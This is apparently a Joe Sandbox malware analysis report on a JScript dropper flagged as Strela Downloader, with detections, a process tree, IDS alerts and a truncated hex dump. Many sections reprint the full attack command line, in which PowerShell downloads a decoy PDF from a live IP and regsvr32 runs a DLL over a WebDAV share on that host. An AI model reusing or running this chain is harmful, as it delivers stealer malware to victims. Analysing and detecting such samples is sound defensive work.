Edit tour

Windows Analysis Report
2608440261187823817.js

Overview

General Information

Sample name:	2608440261187823817.js
Analysis ID:	1588886
MD5:	4e6c64748aeed9f6bb702586f138dbd6
SHA1:	a794e70d64a4c8f839dbf2f2d77ff32aa7ae5942
SHA256:	4c302f50120fe257c4e399165716920f8e22428cf25465699b92a67fba73c35d
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1496 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4104 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5428 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1280 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7260 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7464 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,3447419022261847534,11852108957560881175,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5084 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5820 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7332 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1496	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4104, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5428, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4104, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5428, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", ProcessId: 1496, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5820, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49701

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 4104, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 4104, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 4104, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 4104, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 4104, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 4104, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", ProcessId: 1496, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4104, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5428, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5084, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5820, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7332, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5084, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5820, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2608440261187823817.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1496, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll, ProcessId: 4104, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:43:10.066924+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:43:13.149786+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49701	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:43:10.066924+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2608440261187823817.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2608440261187823817.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2608440261187823817.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49701 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:43:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 